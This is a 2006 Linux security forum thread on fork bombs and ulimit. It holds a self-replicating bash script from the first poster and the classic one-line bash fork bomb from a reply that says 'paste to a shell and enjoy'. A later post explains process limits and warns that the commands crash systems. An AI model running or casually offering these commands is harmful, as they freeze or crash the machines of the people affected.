Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here. |
Notices |
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
Are you new to LinuxQuestions.org? Visit the following links:
Site Howto |
Site FAQ |
Sitemap |
Register Now
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
|
 |
07-05-2006, 06:41 PM
|
#1
|
Member
Registered: Apr 2005
Distribution: Slackware
Posts: 213
Rep:
|
can this bring a system to a halt?
i was thinking about the ulimit utility and this came to mind.
#!/bin/bash
x=1
until [ $x -gt 10 ]; do
ran=$RANDOM
ran2=$RANDOM
cat tmp.sh > tmp.$ran.$ran2
chmod 700 tmp.$ran.$ran2
./tmp.$ran.$ran2 &
rm -f tmp.$ran.$ran2
x=$(( $x + 1 ))
done &
then save it and run like this
$ ./tmp.sh & exit
logging back on would be a problem
thanks
|
|
|
07-06-2006, 07:02 AM
|
#2
|
Member
Registered: Aug 2004
Location: Europe
Posts: 608
Rep:
|
Such things are called forkbombs, see http://en.wikipedia.org/wiki/Forkbomb My favourite one is
:(){ :|:& };:
Paste to a shell and enjoy.
|
|
|
07-06-2006, 07:54 AM
|
#3
|
Member
Registered: Apr 2005
Distribution: Slackware
Posts: 213
Original Poster
Rep:
|
I am surprised ulimit is not restricted to the root user only, it would make this impossible by a user, the article mentions that the linux kernel can detect and prevent this, i presume similar measure are included in the BSDS*
|
|
|
07-06-2006, 05:51 PM
|
#4
|
Senior Member
Registered: Mar 2003
Distribution: Fedora
Posts: 3,658
Rep:
|
It's been left off by default on purpose. It can interfere with certain applications that require extensive resources (processes,cpu time, etc), so it's been left up to the administrator to enable if they have concerns about untrusted users (or bad programmers). To my knowledge, several (if not all) of the BSDs have protection against forkbombs on by default.
**Warning to anyone reading this thread*: Executing any of the above commands will most likely cause your system to crash or become unresponsive. So execute at your own risk!
|
|
|
All times are GMT -5. The time now is 01:44 AM.
|
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.
|
Latest Threads
LQ News
|
|